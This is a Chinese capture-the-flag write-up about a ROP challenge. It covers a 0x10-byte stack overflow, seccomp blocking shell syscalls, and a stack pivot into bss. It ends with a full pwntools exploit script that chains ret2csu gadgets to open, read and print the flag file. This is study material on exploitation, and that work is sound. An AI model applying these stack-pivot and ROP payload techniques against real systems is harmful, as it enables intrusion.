解题记录（3）

最新推荐文章于 2025-08-11 16:50:22 发布

原创最新推荐文章于 2025-08-11 16:50:22 发布 · 365 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #rop #栈

pwn 专栏收录该内容

12 篇文章

订阅专栏

这是一篇关于解决一个包含栈溢出漏洞的ROP题目记录。由于没有Canary和PIE保护，通过栈溢出控制返回地址。由于seccomp限制，无法直接执行system或execve获取shell。解决方案是利用open和read函数读取flag，通过构造栈数据和栈迁移实现目标。

解题记录（3）

这道题是一个rop的题目，漏洞利用很简单，但这题有不一样的地方

题目

如下，没有Canary和PIE保护，因此能够想到的就是栈溢出了
在这里插入图片描述
main函数如下

从main函数中，能够直观的发存在一个栈溢出
但是这里能够发现的是只能够溢出0x10字节，也就是只能控制程序的返回地址和基地址

再来看看init函数里面的东西
在这里插入图片描述

seccomp（全称securecomputing mode）是linuxkernel从2.6.23版本开始所支持的一种安全机制。通过seccomp，我们限制程序使用某些系统调用，这样可以减少系统的暴露面，同时是程序进入一种“安全”的状态。

那么很明显，这里不能使用系统调用，就没办法获取shell了

分析

不能够执行system或者execve函数，但程序中的函数还是能使用的
我们的目的是获去flag，那么只需要调用open函数去打开flag文件，然后用read去读取，之后在打印出来即可
对于溢出只能溢出0x10字节，这里就需要借助main中第一个read了

这里的buf是处于bss段的，因此可以在这里构造栈数据，之后通过溢出的0x10字节，修改rbp和rip进行栈迁移就行了在这里插入图片描述栈迁移

需要借助指令leave
这条指令会将rbp的值赋值给rsp，然后执行pop rbp
main函数执行完后就会执行
leave; retn
加入溢出的0x10字节是fake_rbp = 0x600000和fake_rip = leave_addr
那么leave执行后rsp = rbp，rbp = 0x600000
然后执行retn在去执行leave
那么rsp = rbp = 0x600000，这样就完成了栈迁移

exp

from pwn import *
p = process('./ROP')
elf = ELF('./ROP')
libc = ELF('/home/sixi/Desktop/libc-2.23.so')

def debug():
	gdb.attach(p)
	pause()

loc_6pr = 0x400a36
loc_call = 0x400a20

bss_addr = 0x6010a0 - 0x8
leave = 0x40090d
rdi_ret = 0x400a43
main = elf.sym['main']

p.recvuntil("It's just a little bit harder...Do you think so?\n")
payload = p64(loc_6pr)
payload += p64(1) + p64(0) + p64(1) + p64(elf.got['open']) + p64(0x100) + p64(0) + p64(bss_addr + 0x8 * 10)
payload += p64(loc_call)
payload += b'./flag\x00\x00' + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x100) + p64(bss_addr) + p64(4)
payload += p64(loc_call)
payload += p64(0) * 7 + p64(rdi_ret) + p64(bss_addr) + p64(elf.sym['puts'])

p.send(payload)
payload1 = b'a' * 0x50 + p64(bss_addr) + p64(leave)
p.recvline()
p.send(payload1)
p.recvline()
print(p.recvline())